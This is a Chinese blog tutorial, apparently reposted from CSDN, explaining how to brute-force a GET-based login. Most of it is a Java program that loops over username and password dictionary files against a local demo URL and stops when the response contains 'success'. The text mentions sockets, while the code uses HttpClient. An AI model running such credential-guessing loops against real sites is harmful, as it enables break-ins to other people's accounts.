通过java代码实现get登录的密码暴力破解

一、原理

GET请求会将参数放在URL中,如果通过GET请求登录,则会将用户名和密码放在URL中进行发送,此时我们可以通过构建URL来进行测试登录,并获取到返回的数据,来判定登录结果,来达到爆破的结果。

二、思路

我们需要通过socket的方式进行连接,并准备用户名和密码字典,依次取出字典中的值,通过两个for循环,用外层用户名,内层密码的方式构建URL,再依次发送,并接收返回的数据,判断登录结果。

此时需要注意的是,在发送了请求后,判定登录失败,则需要关闭socket,并重新建立socket进行下一次登录。

三、代码编写

public class Demo1 {
	public static void main(String[] args) throws Exception{
		//取出用户名字典中的值,存入list中
		FileInputStream fl = new FileInputStream("d:\\test\\test.txt");
		Scanner sc = new Scanner(fl);
		List list =new List();
		while(sc.hasNextLine()) {
			list.add(sc.nextLine());
		}
		//取出密码字典中的值,存入list1中
		FileInputStream fl1 = new FileInputStream("d:\\test\\test2.txt");
		Scanner sc1 = new Scanner(fl1);
		List list1 =new List();
		while(sc1.hasNextLine()) {
			list1.add(sc1.nextLine());			
		}	
		
        //利用双for循环构建URL,并在循环中开启和关闭socket
		for(int m=0;m<list.getItemCount();m++) {
			for(int n=0;n<list1.getItemCount();n++) {
				HttpClient hc =new HttpClient();
				GetMethod gm  =new GetMethod("http://127.0.0.1:8080/http/HttpDemo?userName="+list.getItem(m)+"&passWord="+list1.getItem(n));
				hc.executeMethod(gm);
				byte[] by = gm.getResponseBody();
				String string = new String(by);
				if(string.contains("成功")) {
					System.out.println("爆破成功:\r\n用户名:"+list.getItem(m)+"密码:"+list1.getItem(n));
					System.exit(0);
					
				}
			}
		}
	}			
}

猜你喜欢

转载自blog.csdn.net/weixin_47931795/article/details/108390976
今日推荐